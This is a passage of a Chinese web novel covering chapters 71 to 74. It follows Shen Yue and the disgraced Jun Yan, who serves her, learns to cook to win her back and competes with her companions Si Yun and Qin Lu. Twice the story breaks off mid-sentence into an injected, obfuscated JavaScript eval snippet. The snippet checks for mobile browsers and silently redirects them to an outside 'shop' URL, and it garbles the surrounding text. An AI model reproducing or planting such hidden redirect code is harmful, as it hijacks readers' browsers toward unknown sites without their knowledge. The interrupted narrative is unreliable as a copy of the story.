很奇怪。明明已经知道他武功全失,却还是没有勇气冲上去将他二人分开,他的眼神也依然令我感到畏惧。那件事已经被他知道了,他会怎么做?最好的办法,就是永远不要让他出去,这一点,她会做到吗?司云在原地站了一会儿想着,扭头离开。 君琰守了沈月大半日,她才将将醒来。 醒来的时候已是半夜了,她看见他困在自己床边睡着了,一只手还牵着她的手。 恍然间好像又回到了从前,只不过那时候他两异位而处,是她守在他的床边。 她静静地看了他一会儿,没有喊醒,倒头继续装睡。 “都醒了,我来给你按摩一下吧。”他的声音却传来了,她只好睁开眼睛,看见他一双明如点漆的眼正注视着自己。“你喝醉了,现在刚醒,会有些头痛,没关系,我帮你揉按一下就好了,你只需往下躺一点,我就这样……” 他倾斜着身,手指放在了她的太阳穴上,开始揉按。“乖,一会儿你又会睡着了。” 她闭眼享受着他的按摩,心里却有些疑问。 “想不到堂堂九公子折了羽翼,也是会讨好人的。” 他笑道:“若是能讨你欢心,可否将我那三十板子免去?” “这就谈起条件来了?看来你还是相当有算计的啊。” 他的笑容渐渐消失,朗星般的眼睛里有了一丝哀伤……“算计来算计去,不过都是在算计你而已。” 这话落在她耳中却变成了另一个意思。 她冷笑了一声,“呵,难得你自己也愿意承认。” 他并不在意她的嘲讽,低头柔声道:“以后能不能别喝那么多酒了?” “酒能消愁,其他东西也可以吗?” “自然有替代物,若你心中不快的话……”他看见自己胳膊上被咬的牙印、留下的伤口,笑道:“就再咬我发泄,好吗?” “咬……”经她这一提醒她才想起自己之前好像是咬了他一口。“还主动要给我咬?你这人是有什么特殊的癖好吗?” “只要能让你高兴,我做什么都可以。”她听见他声音极轻地说。 71. 释因 “咳咳……”身后传来咳嗽声,她抬头看他,瞧见了他嘴角的血渍。 他能坚持到现在,也算是殊为不易,她想。 “你走吧,我这里不需要你了。”说着头偏到了一边,不再要他按摩,身子朝里面向墙壁去了。 “……那好,你也再睡一会儿。” 他起身出去,将门轻掩上。 原本他还有很多事情没查清楚,现在却已在她这里……罢了,总之他得先将她哄好了,再去管那些事。 做她的奴仆一百天,她便真的嫁他……此话虽立了血契,他心里也仍有许多不祥的预感,种种猜测折磨着他,人快疯了,身子也濒临崩溃。 “喵~”一声软软的猫叫声忽不知从哪儿冒了出来。 低头一看,竟是葡萄。它将自己在小角落里缩成了球,睁着海蓝宝般的大眼睛看着他,见他也看了过来,原地磨蹭了一会儿,便走出来,到了他脚边,抬起脑袋蹭着他的脚转圈圈。 葡萄竟也在她这里啊。 原来她还记得这只小猫。 心念一动,从未和小动物亲近过的九爷这时蹲了下来,将葡萄抱起。 “喵呜~”它看上去很乖,配合他的动作,将毛茸茸的大尾巴也放进了他的臂弯中,然后颇为享受地在他怀里睡起了大觉。 君琰:“……” 一时间放下它有些不忍心,不放它自己又在这儿僵着,有些骑虎难下了。 “咳咳咳……”胸膛忽剧烈地起伏,震得葡萄又醒了,吓了一跳,尖利的小爪子不禁伸出来狠狠扎进他的肉里,抬起脑袋警觉地望向四周。 “咳咳咳咳!”他忍不住了,扭头咳了血,葡萄“哼哧”一下从他臂弯中又跳回地上,落定了,扭过头很疑惑地看着他。 “喵?” “怎么了?”沈月听着动静过来了。 掀起珠帘,就看见一人一毛,他正背着身,听到了她的身影也没转过来。 “喵喵!”葡萄跑到她跟前来,在地上摊开肚皮,四仰八叉地左扭右扭。 她看了眼葡萄,眼下却没工夫去搭理它,走向君琰。 “喵呜呜。”葡萄发出失落的一声哼唧,站起来了,心里边想,妈妈今天为什么不摸它了呢? “诶,你还好吧?” “没事……” “转过来。” 他不听,她跑到他跟前去,他又转向另一面,她恼了:“再跑,就再记三十板子。” 这下又到他正面去,他才没跑。 她抓住他一只手探脉搏,即刻转身道—— “走。” “哪儿去?” “柴房睡得不舒服,也不适合你这种养尊处优的人,你还是睡我榻上吧?” “那……” “少自作多情,我只是怕一下将你玩死了,没法继续报仇。” 他跟在她身后,却笑了。 熬药、煮药,到天明……这些事儿交给下人去做了,她就一直守在他旁边,背对他坐着,读书或是写什么东西,神情专注。 虽然总能感受到背后射来的目光,但她两个时辰也没有回头。 偶尔能听到他压抑的咳嗽声,只有动静大了时她才会扭头去看一眼,偏巧每次都能对上他的目光。 他也这样盯着她的背影看了另两个时辰,天亮了。 药熬好了,她看着他喝下药。 “我忽然想起……昨儿我喝醉的时候,好像有人亲了我?” 他不做声。 “是司云还是秦璐?”她疑惑地回想着,却只能记起一些零星的画面,见他不答话,一时恼从心起,“该不会是你吧?” 他却说:“醉酒时候的事儿不必深想,徒增烦恼罢了。喝醉不就是为了忘忧的么,还去回想又有什么意思?” “也有理。”她点点头,轻叹了声。 “下回,我陪你喝酒吧?有时候我也想一直醉下去,永远也别醒来,但这样很伤身,对你尤其不合适。” “想一直醉下去,死了就可以了。” “……” “这些天你可以不干活。等身子稍微恢复了些,我再来支使你。” “谢……”他一时不知该说什么,感谢她么?太生疏了。 “你这里除了司云、秦璐,还有静儿,其他人我都不认识。”他又开始好奇她最初的过去,“可还有友人?” 她看向他。 “你还敢问这个呢?我本来有很多朋友,但他们都死在了云青山、你的令下。所以我现在不想要朋友了,更不想就这样忘记过去的那些人。” 他却并不避讳,“其实我也……” “九公子没有友人倒是一件很正常的事儿了,毕竟是个江湖魔头。”她替他说了。 “是。可江湖魔头,如今不也在你手下做事么?” “那是你欠我的。”她闭上了眼睛,“如果这个世界上没有你,我不会是如今的我,不会落到如今的地步。” “你说得对,可是夭夭……”他定下心来,说道:“就算世界上没有我,先皇也会培养其他人做他手里的刀。钦犯逃亡云青山,所到之处都要株连,是先皇亲自下的命令。那时的情况,我遵旨,尚有人可以活;若抗旨不尊,则所有人都会死,包括我,我死了,便不能再护你……” “护我?!你那时候都是怎么对我的,现在你居然说是要护我?你只是为了自己活命而已吧!” “我……” “那你倒是说说,为什么说那样对我是护我?”她紧盯着他——“说啊!” 他看着她的眼睛。 有千言万语,似就要冲口而出,却又被他忍了下去。 少女的眼睛里顿时盈满了怨愤和失望。 “对不起,现在还不能告诉你。” “那你这又算什么?话只说一半。你到底有什么难言的苦衷?……不,你根本没有苦衷!你就是自私而已。你从前就是看不起我,就是利用我。从前我总是想,你可能是有苦衷的,我总是绞尽脑汁想为你开脱,可事实一次次打了我的脸,告诉我我不过是一厢情愿。” “不,不是这样的!” “从前的先皇,还有现在的皇上,你和他们的关系、你们皇家一团乱糟的事情我不想知道,也转不过来那个脑筋,我只知道你负了我,和我之间有血仇。就算你当时是受命于皇上,他们毕竟也是死在你的令下,这已经成为我们之间过不去的坎。不论你现在想要挽回或是怎样,也不论我还要报复你到几时,我们若待在一 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“我没有!”他说,“你为什么会这样认为?” “呵。”她冷笑了声,“你自己当然不会承认了。” “……我没有做,为什么要认?” “江湖上能有这个本事和能力杀了义父的又有几个人?‘飞鸟投林’的招式又是从谁那里出来的?你不会说你不知道吧。” 君琰的脑子一下转了过来,“夭夭,这是栽赃!” “谁有那个本事栽赃到你头上啊?”她扭头看着他的眼睛,嘲讽笑道:“皇上吗?” “我没有这样做的必要。星月阁倒了黑布组织也不能独大,况且沈因初还是你的靠山和恩人,我不会这样对你的。” “那你当年下令屠山的时候也这样想吗?” “当年的事是别无选择,现在不是,你在意的人当然也是我在意的人,就算是为了得到你,我也不会用这种会让你难过的手段……”他忽然回过味来,“必定是有人刻意引导你的,是谁引导你认为我是凶手的?” “这需要人引导?若你是我,又会怎么想?” “是不是司云?!”他的目光骤然犀利起来,“听我一句劝,这个人不能再待在你身边了,你得即刻将他赶走!” “你有什么资格这么说?!君琰,收起你那套霸道的样子,你怕是忘了自己现在还是我的仆人吧!” “夭夭,你根本不了解他!人是会变的。” 她不以为然,“我从小和司云哥哥一起长大,他是什么样的人我再清楚不过。要说对他的了解,你自然是及不上我的,我相信他,这就够了。” 她的话再次刺痛了他。 “因为有了之前的事情,所以无论怎样,你都不肯再信我了,是吗?” “我确实没法信你。”她转身往外去,“先走了,你自己记得喝药吧。” ……他竟不知自己何时背了这么大一个锅。 “对了我警告你,你要是敢动司云,我一定和你没完!”——她回眸又补充了一句。 心在滴血。 从前又怎会想到,有朝一日,她会为了别的男人,与他翻脸。 72. 下厨 “我看出你的懊恼了。不过在这里,你别的事也不必想,只用想怎么哄小姐开心就成。”秦璐对他说,“你看司云,天天变着法地讨她欢心,我要是小姐,我也喜欢他。” “呵。”君琰冷笑一声,“你更是言不由衷。” “怎么会?我认真的。” “你在嫉妒他。” “这……”其实我更嫉妒你。 “之前我命人把你丢出浙江,不记恨?” 秦璐摇了摇头。“这没什么,反正我现在不是也回来了,大家同在一个屋檐下,没必要再闹得不快。”他给他“指明路”道:“看你这样子就是十指不沾阳春水的公子哥,想讨小姐欢心,你先得放低身段,多像司云学学,比如,亲手做些小姐喜欢吃的东西。” 君琰看向厨房的方向…… 眉宇间神色复杂,“她很喜欢吃司云做的东西么?” “那可不,司云公子手艺可好了,你是没吃过他做的。” 他自认为于吃的方面并不很讲究,但…… 终究还是抱着好奇心走进了厨房。 司云正在做海棠酥,看了他一眼,目光颇不友善。 难道我还要向这个司云请教如何做吃食么?他一瞬后悔了,扭头正要走,又想到她…… 什么海棠酥,真有这么好吃? 他们当年还在王府、未被禁足的时候,要什么好吃的没有,她就偏好这海棠酥? 心下叹了口气,终究还是硬着头皮又走进了厨房。 司云不理他,继续做糕点。 “开个条件,”君琰先开了口,“教我做这样东西。” “我没听错吧,九爷要学做吃的?”司云没好气地道,“我劝你,不擅长的事情别硬着头皮做,不然做不好,小姐也是会不高兴的。” “哪那么多废话。说,怎么才肯教?” 司云反问:“我为什么要教你?把你教会了,让小姐更喜欢你,给我自己找不快么?” “就算我能做的和你一样好,她吃谁的还不一定。敢不敢跟我赌?” “赌?” “你若真有信心,又何必担心我学会了会抢了你的风头呢?她若真喜欢你,就算你做的不好吃她也会吃。所以你不妨一试,看在我们都做这东西的情况下,她会选谁做的。” “我没时间和你赌,这无聊得很。”司云并不松口,“别白费力气了,回你屋子养养伤去吧。” 君琰见状继续道:“实话告诉你,我在这里只用待一百天,一百天后就是她嫁给我的日子,此事她已和我立了血契。” “……什么?!” “我迟早是要出去的,你做的事情若想晚些败露,劝你还是乖乖教我。” “不可能!她怎么可能还会要嫁给你?!” “我和她之间羁绊已深,这辈子都不可能分开的,你若为了她好,就现在教我,以免我娶她之后还要专门找人去学,耽误她吃到嘴里的时间。” “……” 司云没再答话,只是愣在那里,很久都没缓过神来,君琰开始催促,语气仍是不怒自威:“你做了什么事我可都一清二楚,你要不肯教,以后我会让你和她连朋友都做不成。” “……我教!”他咬牙切齿地说,“我教!这下你满意了吧?!” “记住了——我手里可是有你的把柄。”君琰悠悠地去洗了手,走过来,“开始吧。” 那拿惯了刀剑、指尖上有薄茧的右手,开始第一次学着去剪娇软的花瓣,他想着海棠花的样子,尽可能将每片花瓣都剪得圆润美丽,虽说初上手时觉得有些别扭,但剪了几朵后感觉便上来了,一口气做了八朵花。 从开始到花朵成型,一步步的,司云都只能耐下性子来教这位情敌,君琰学得认真,很快便炸了一朵花,捞起来觉得不是很满意,又将新的花朵儿下锅。 “啪”地一下手臂上被溅了油星,他直接无视,看着锅里逐渐变得金黄的花朵儿,就好像已经能想象到她吃这东西时,一脸开心惬意、嘴角边沾着酥皮的样子。 ——他透过一锅糕点看见了她,情不自禁地笑了起来,那神情,就仿佛她和那些海棠酥一样好吃。 “喂,锅里要炸糊了!”司云出去拿了佐料后回来,急道:“你站那儿发什么呆?!” 君琰这才反应过来,将锅里的东西乘起来,但还是有几只炸糊了。 “不成。”他摇头自语,“这几个糊的我吃了,我重做。” 司云:“你说得轻巧,我买食材不需要钱不需要跑腿吗,都像你这样浪费,买多少食材都没用。” 他的语气多少带着点儿私人恩怨。 君琰:“要多少钱?” “我知道你有钱,但你别老想着用钱解决一切,有本事下回自己去买。” “买个东西算什么?但夭夭不会让我出去啊。” “总之你得看着锅!”司云叹了口气,“重新捏吧。” 就这样忙碌到了傍晚,司云将海棠酥乘了两盘,一盘自己做的,另一盘君琰做的。 “就应你之赌,看她更爱吃谁的。”说罢就端着海棠酥去她那儿了。 沈月正屋内读医书。 阿爹给她留下的书单太多了,每本书都很厚,但她也乐在其中,一想到自己上回研制出的方子救了许多人她就觉得高兴。世间的疑难杂症那样多,若能对每一种都找出对应的克制药方,岂不美哉? 这也算是她自儿时起就藏在心底的愿望了,如今她已年过二十,仍没做到。而今再回首看觉得这个愿望太过宏大,不是能轻易完成的。可人总得有个努力的方向。除开和大魔头的一应爱恨纠葛,这便是她最在意也最想要去做的事。 读了许久的书正觉眼睛酸涩,司云端着海棠酥进来了,温柔将糕点放在她的桌前,“累了吧,吃点东西吧。今天做了两盘,略有区别,你看看更喜欢吃哪一盘?” 她放下书,面前糕点的甜香味直冲鼻尖。 “什么区别?司云哥哥是做了两种不同口味吗?” “你吃吃看。” 她于是左手拿起左边盘子里的一个,右手再拿起右边盘子里的一个,吃了一口左边的,又吃了一口右边的,面露思索状…… “怎么样,哪边的更好吃?” 君琰这时候也装模作样地进来了,“我来给小姐送莲子羹。” 沈月莫名其妙地看了他一眼。 两个男人一时间都不约而同地看向她,她莫名觉得有些不妙。 “要说味道的话,左边的好;形状的话,右边的好。” 君琰:“吃糕点还看什么形状?” 司云:“你懂什么,食物要色香味俱全才好吃。” 君琰:“你就整体评个分吧,二选一。” 沈月更疑惑了,“还是要二选一?我能不选吗?” “不行!”司云和君琰异口同声地说。 “你们… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244519|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她蹙起眉头,心下已猜出了几分。 但这不太可能吧,君琰这家伙会还下厨做东西?太阳打西边出来了。 君琰较真地继续问:“你就说,是左边的好,还是右边的好?” “左——边的?” 她话音没落,君琰忽地笑了,司云却沉了脸,一副备受打击的样子。 “你们两到底在干嘛?”她站起来走到他们面前,“拿本小姐打赌呢?说,到底怎么回事?” “他偏要我教他做海棠酥,没想到他第一次做就做得比我好,还得了你的夸赞。你吃的左边那盘是他做的,右边那盘是我做的……也有可能是我今天没发挥好吧,光顾着教他去了。”司云道:“既然他也做得好吃,以后也好给我打个帮手,一起给你做更多好吃的。” 沈月看向君琰,眼中有疑惑——“你做的?” 君琰一时有些莫名耳根子红,轻轻应了:“嗯。” “其实区别也不是很大。”她即刻转过身,端了左边那盘海棠酥来,“你们今天做这么多,我一个人还吃不完呢,放到明天又不新鲜了。司云,你把这盘拿走,给侍卫们分吃了吧。” 司云恍然了悟,即刻眉开眼笑地应了:“夭夭妹妹考虑周全,我替他们谢谢你了。” 说完,开开心心地去了。 沈月没再说话,回到桌前,头也不抬了,对还杵在那里的君琰说:“你出去吧,我还要读书呢。” 他看着她,嘴角逐渐没了笑容。 学了一下午的海棠酥,她只吃了一块,剩下的便拿去给侍卫们吃了。 她就是故意的。 “你要是不喜欢,我下次可以改进。”他憋了许久,终是说出这么一句。 “不需要。这儿有司云哥哥给我做吃的就够了。” 他看着她,“怕我下毒还是怎的?” 她飞快地扫了他一眼,“自然。毕竟我给你下过毒,我怕你报复。” 他心里堵得难受极了,“你要是这么讨厌我的话……” “下人就做下人该做的事儿,不要僭越,司云在这儿的地位可比你高。如今他已入星月阁,我让他做副阁主了。”她抬眼看他:“这规矩,也是当初你的王妃教我的。” 副阁主?那岂不是意味着往后那个家伙也天天都能见到她? 君琰只觉自己快气疯了,表面上却仍然压抑着不露出情绪。 “夭夭,” 他话没说完,只见她无声地对他摆了摆手,做了一个请出去的姿势。 心下苦涩,他转头走了,整个人都空落落的。 一定是我做的还不够好吃吧。 要是足够好吃,她怎能舍得把东西分给下人? 他如此想着,迎面又撞见了秦璐。 “怎样,小姐可还喜欢你做的海棠酥吗?” 君琰不答,“我要练习厨艺,你们这儿除了司云,还有谁做饭?” “诶?” “拿着。”他命他摊开手,“咚”地一声,一颗夜明珠掉在了他掌心里。 秦璐受宠若惊也疑惑莫名,“你从山崖摔下来掉进水里,身上这些宝贝还没掉吗?” “这你就不用管了。拿着,然后帮我找你们这儿最好的厨子来。我从前是没下过厨,什么东西都是下人送到手上来的,可凡事都有第一次,不会的可以学。”他说着,眼睛里有股狠劲儿,“我要让夭夭以后,只愿意吃我做的饭。” 73. 拿捏 他自即日起钻研厨艺,而她则在屋内读医术,一日忽有所悟,打算出门采药,临行前叫了司云和秦璐过来。 “我不在的时候你们两看好那个魔头,别让他惹事儿,更不能让他跑了,知道不?” 乔装易容,上山采药,一如从前…… 司云和秦璐在暗处看着在厨房忙碌的君琰。 司云:“你怎么还帮他?” 秦璐摊开手——“看,夜明珠啊。” 司云:“……” 秦璐:“你还问我呢,那你又为什么教他啊?” 司云:“……当我没问。” 秦璐:“我说,他现在学厨艺也太肯下功夫了,真担心再过段时间你就被他比下去了。” 司云没再理他,只是一直看着厨房的方向,秦璐看着他的眼神儿吓了一跳,好像此前还从未看过他如此恨谁的样子。 君琰今天要做十二道菜的晚膳:荷包里脊、云林鹅、腊味合蒸、糯米鸭、水晶肴蹄、清蒸鲈鱼、炒鸡炖蘑菇、虾油豆腐、马兰炒百合、三层玉带糕、蟹酿橙、冬瓜木耳雪莲汤。 当然,还有一道海棠酥仍是少不了的。 提前三日他就让人备好了食材,天还没亮的时候他就开始忙活了,到现在才刚做完六七道菜。 从小就被教育“君子远庖厨”,以前他从未有一日想过自己竟会钻研厨艺、亲自下厨……谁让她喜欢吃呢?如果这样,当真就能挽回她的心,那他愿意,做什么都愿意。 从前他衣摆上干净得片尘不染,如今也会挽起袖子来洗菜做饭,干净的衣服上也会溅了油星,但他一想到她吃到这些美味时开心的样子,就丝毫不觉辛苦了。上回一定是自己厨艺还不够好,她才舍得把那海棠酥打发给下人吃,如果能让那菜美味得叫她舍不得赏给下人,便能叫她离不开他的菜,继而离不开他的人,这是他受了情敌的启示,所想到的能够挽回她的方法…… 午膳他是不打算用的,占了厨房,司云心里愈发愤愤,和秦璐小声道:“凭什么他一个人占着厨房?那个地方平时都是我的。” “那你去和他说啊,和我说干嘛?”秦璐直言:“你不敢啊?” 司云悻悻道:“我们午膳吃什么?” “自然是有什么吃什么。他怎么说也是给小姐做吃的,你也不好说什么,且看他能做出什么东西来吧?” 沈月回来的时候天色已晚,君琰摆好了丰盛的晚膳等她,她不来便也不动筷,直待外面传来了人声,静儿说:“小姐回来了”,他才一下子站起来,欢喜地出去迎接。 “小姐,怎么了?”却是听见别人围着她在关切地问。 “眼睛受伤了?!”——司云急切的声音。 他加快了脚步,看到她被众人簇拥着回来,静儿在旁扶着她走进来。 “小姐,这边。” “怎么会眼睛受伤了?现在一点也看不见吗?”——秦璐关心的声音。 “采药的时候遇到迷障,又不知中了什么东西,下山时就看不清楚了。” “小姐饿了吧,去吃饭吧。” “你们去外面吃,这些都是我给她一个人做的。”君琰将众人哄跑,一个人给沈月上了十二道菜。 “怎么今天做了这么多?”她听着上菜的声音问。“今天你们谁陪我吃啊?”说着歪了歪脑袋,“司云?” 虽说君琰这段日子一直在钻研厨艺,但往常的饭一般还是司云做的,他今儿是怎么了,一口气做这么多菜,她也吃不完啊。鼻尖深吸一了口气……嗯,今天的菜好香啊。 君琰默默听她说话,这时候才想到,往常都是司云和秦璐轮流陪她吃饭,似乎还从未轮到过自己,一瞬间火气又冒上来了,强自压住,耐心地为她布菜,知道她眼睛受伤了看不见,便夹起一口菜喂到她嘴边。 她的眼睛此时闭着,看上去……哎,这家伙怎么这么不小心,采个药还能把眼睛弄伤? 她就着他递来的菜吃下去,一瞬间陆云鲜香的味道在唇齿间蔓延开来,肉质嫩滑,无刺,汤汁鲜美,顿时让人胃口大开。 “好吃!今天还做了新样菜啊。”她笑出了一双酒窝。 得了她的夸赞,他也开心极了,又喂她第二口、第三口…… “嗯,这个也好吃!是糯米鸭吗?”她满足地吃着,忽觉对方好像不是司云,那身上似有若无的松木香…… 竟是君琰么。 难为他一个从不进厨房的人为了她苦学厨艺,今天做了这么多菜。可他怎么不说话呢?嗯,既然不说话…… “司云哥哥,你真好。” 她忽然笑着握住了他的手,柔声道:“这味道旁人是做不出来的,就算九公子苦学厨艺,也做不到你一半好。” 他闻言浑身一僵,手悬在那儿任由她握着没有抽开,只是方才所有的欣喜,都在这两句话中被冲散了。 她说完放下了他的手,“如果我们还能回到从前该多好啊,阿爹阿娘,还有叔伯们都在,我们可以一起在山间采药,一起看日出日落,一起数天上的星星。” 顿了顿,语带感伤:“可如今物是人非,一切已是沧海桑田,难为你还当我是从前的我,有时我真不知该如何报答你的恩情……” 她眼睛受了伤看不见东西,却摸索着拿筷子夹了东西也想喂给他,“你为我忙活了这么一整天,自己也得吃啊。来,过来些啊。” 君琰心里头一阵酸涩,本想出声告诉她事实,却又觉得这样也没什么不好,至少他能听听平日里她都是如何与司云说话的,遂打算配合她装下去。只是一想到她拿自己当成了司云要喂东西他吃,就心里边不快得厉害,伸手握住她的手,慢慢将筷子放了下去。 她明白了他的意思,“你不吃么?……我知道了,你是想让我先吃。司云哥哥,你总是对我这样好。” 然而她也未继续动筷,而是后退了一点儿,轻褪了肩口的薄衫,露出一抹冰肌玉骨。 上头却有一道伤痕,她纤手抬起放在那伤的旁边,垂头说道:“今天去采药时眼睛受伤了,摸索了半天才下得山来,这儿被划破了,你帮我上药吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252678|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 君琰的脸上变得红一阵,白一阵…… 莫名有些心痒难耐,下一瞬又好一阵气恼……她平日里就是这般和司云相处的?都可以让他帮她上药? “司云哥哥?”她等了好久不见动静,便又唤了声。 他忍了忍,转头去柜子里给她拿药。 “就是第三层左边柜子里那瓶白色的。”她说。 他拿了那瓶小膏药来,站在她身后为她涂药,心下情绪急剧起伏,忍着不咳嗽,指腹尽可能轻揉地划过她的伤处。白皙如瓷的肌肤上横着一抹刺目的伤痕,血已结痂了,仍叫他看着心疼,刚张口想说她几句怎么这么不小心,又想起她现在是将他认成了司云…… 要是戳破了彼此都会很尴尬吧。 “嘶——” 听见她悄悄抽凉气,擦药的手停了停,他轻轻给她吹了一下。 到现在还是没反应,估计心里怕是炸了,她悄悄地想。 忍着情绪给她上完了药,他实在有些忍不住了,放下药,轻轻给她把衣领拉上去,落荒而逃。 “……司云哥哥?你去哪儿?”她的语气故作疑惑,脸上却露出了模糊的笑意。姑娘的话回荡在身后,他一时心里堵得慌,跑回厨房,再看到那些食材,只觉双目刺痛。 “小姐,您还没吃晚饭呢?”静儿进来了,“太晚了,奴婢怕您吃多了不消食,这些……” 她拿了一小块玉带糕放进口中,“每样给我留一点明天吃,其他的让大家分吃了吧。” 不得不说这桌菜的味道确实极佳。 司云这时候拿着药进来了,“夭夭妹妹,我找到了治疗眼睛的药方,还是你从前配的呢,来,敷药吧。” “司云哥哥你放下吧,让静儿帮我就好了。”她的语气依旧如往日般,礼貌温和中带着几分疏离,司云有些失落,放下了药。“那你一定记得敷。” “嗯,我会的。” 他又看了眼桌上的美味佳肴,语气里并不掩饰不悦,“今天的菜想必很合你胃口吧?” 她却没有直接回答,笑道:“你也想吃?” “那倒不必。”司云即刻拒绝。 情敌做的饭有什么好吃的? “哎,可惜了。今晚这一桌菜,可口得很呢。”她似是有些惋惜。 方才君琰和她单独待在这里,想必是将她伺候得很愉悦吧? 为什么,自己做饭做了十几年,到头来却比不过一个半路出家的?还是说,无论他怎么努力也不能越过君琰在她心中的位置? 淡淡应了声,闷闷地退出去了。 秦璐一看,今夜两个人都黑着脸倒是稀奇,难不成他们同时在小姐那里吃瘪了? 既然如此,那是不是说明自己有了一点机会呢…… 他鼓起勇气朝小姐那边走去。 君琰心情虽差,却无时无刻不在留意她那边的动静,誓要严防死守任何除自己以外的男人对她有机可乘,就算她是自愿的也不行。秦璐的动作这时引起了他注意,于是也偷偷跟了过去。 74. 心火 “你来得正好,按桌上那个方子帮我配药吧。”旁边台子上的小背篓里装满了她刚采来的药材,她吩咐说。 “是,小姐。”秦璐净了手,规规矩矩去配药。 “还缺一味,”她想着自己今天采来的药材种类说,“我去外边拿来。” 起身走到门口,君琰正躲在墙后,一时不及躲闪,竟和她撞上了。 沈月刚迈出房门就撞进了一个坚实的怀抱里,闻到那阵松木香便知是谁了,抬手轻轻推开,却被他拽住了手。 “你眼睛受伤了看不见路,不妨学学听声辨位吧。” 厨艺,习武,吹笛,总有一样能讨得她欢心吧?厨艺这条若是走不通,老本行他可是还没忘的,虽说现在筋脉被封失了武功,但那些招式和方法他总归是没忘记,听声亦是其中的基本功。又或许,他是为了平息连日来郁积于心的醋意。 他说的这个倒是在理,也不知自己眼睛何时能够恢复,看不见东西的日子里,就只能靠耳朵。她想着道:“你教我吗?” “嗯。”他声音柔了下来,“现在天色晚了,你也别忙到太晚,早些睡,我明天开始教你好不好?” 翌日,沈月除了读医书、配药,就开始和君琰学听声辨位。他有时会为她吹笛,乐声或疾或徐,有时还教她些基本的防身招式。 司云和秦璐又在暗中嘘嘘了。自君琰来了以后,两人暗中对立的氛围就缓和了很多,甚至还会在一起聊天儿。 “我看他就没安好心,教招式需要离那么近吗?要不你去管管?” “你怎么不去管?” “我不敢,但我觉得你敢。” “他现在就是个废人,你有什么不敢……” “那你去呗。” “还是算了,我怕会惹小姐不快。” “实话说……我也不敢。” “看来是九公子余威犹在啊。” “算了咱们还是走吧,眼不见为净。” 辨声学完还要学防身招式,她一个没站稳,害怕摔倒,勾住了他的脖子。 刚一勾住,又觉不对便放了下来,他眼疾手快勾住她的腰,防止她摔倒。 她一只手抓住了他的衣袖。 君琰喉间动了动,只是欺她看不见,脸上一片潮红,霎时却又想起她昨晚将他当做司云让他上药,又想起秦璐给她打下手配药的情景,心头又是一阵不畅快,低头道:“若将我换作旁人,你也是不避讳与之亲近的吧。司云是,秦璐也是,你到底还喜欢多少人?” 她抬起头,眼睛处还蒙着布,没答他的话,却是轻轻推了推,“要不教了就干脆点儿,我也不是非要学。” 她这一推不痛不痒,倒有几分欲拒还应的意思,他自然是不肯放,稍稍加重了手上的力道将她圈在怀中,她见状又扑腾拍打了一阵子,他仍霸道地不肯放,她便有些恼了。 “是不是又要本小姐提醒你,注意你的身份?” “你我都成亲六次了,要说身份,我既是伺候你的人,也是你未来的丈夫,你指的是要注意后面这个身份吧?”他有意说。 她并不上钩,严肃了语气道:“君琰,我警告你,在我没有兴致的时候,不要和我反着来。你要再不放开,我就喊人过来,再将你绑到柱上去,悬个三天三夜!” “……真狠。”他的手轻轻松了松,她趁机挣脱出来,耳边听见他的轻咳声,他好像走远了几步。 她如今眼睛受了伤,看不到他唇无血色、下颌泛青、额上冒汗的样子,只能听见他的咳嗽声,想了想还是走过去。 他却正在那儿重新系衣带。这一方角落里无人,帘帐遮得牢牢的,她又不能视物。方才给她一番挣扎,他的衣带开了,遂去一边系上,却不想她忽然跟了过来。 “喂,你不是又哪儿伤了吧?” 她听见他一直咳嗽,一抬手想摸摸方位,却不想正好碰到了健硕的肌肉,心下一疑不知这是什么东西,便困惑着环在上面走了一番。 忽然间才意识到了什么,她跟触了电似的将手缩回来,后退两步,用另一只手包住那只手,“抱歉,我不是故意的,你也不说一声在干嘛。” 他慌忙系好了衣带,“无妨。” 嘴上说是无妨,心里却经受了一番撩拨……面颊滚烫,却与身子的不适相冲了,一时间如置身烈火烹油之中。 六娶不得,屡次受伤中毒,自被她qiu在这里以来,他也各种事都做过,除了应她之要求,还额外想做许多讨她欢心的事,近来更是一直泡在厨房里一刻也没歇过,身体一直未得休养。 现下这刻,更是有些受不住了。 可他知道自己不能靠近,一来他们尚未正式成亲,二来他也不想让她不高兴…… 然心下的担忧也是愈来愈浓了。时间一天天地流走,他们还能有漫长的以后吗?她所立的血契,看似庄重,实则难言,又岂能确信她没有抱定死志?她做过的出乎他意料的事太多了,如今他已不敢去确信什么东西,可又不能采取珍视当下良辰的做法。 冷静,冷静…… 冷静对他而言却成了煎熬,看着近在咫尺的意中人……他的身子在颤抖,像一片秋风中的树叶…… “你怎么了?”她的手轻轻放在离他胳膊很近的地方,感觉到他在发颤。 “……没什么。”他呼吸有些急促,“今天就到这儿吧,你好好练。” “回来。”她叫住准备逃走的他,扬起下巴道:“作为我的仆人不是应该召之即来挥之即去吗?我都没说可以走,你怎么能就这样走了?” 他被她两句话定住,站在原地,进也不是,退也不是。 “夭……小姐,”他的语气近乎恳求了,破天荒地说道:“放了我吧……” 她循声而来,差点又撞到他身上,语气有些困惑,“什么意思?你指的什么方面?” 什么意思,他不能明说呀…… 她抬起手碰到了他的脸。 “好烫!你是发烧了吗?” “嗯……” 除了这个他也想不到更好的说辞,再者身子也确实不适。 “我知道了,那你先回房间歇息吧,我一会儿给你送药过来。” 他如蒙大赦,正要走。 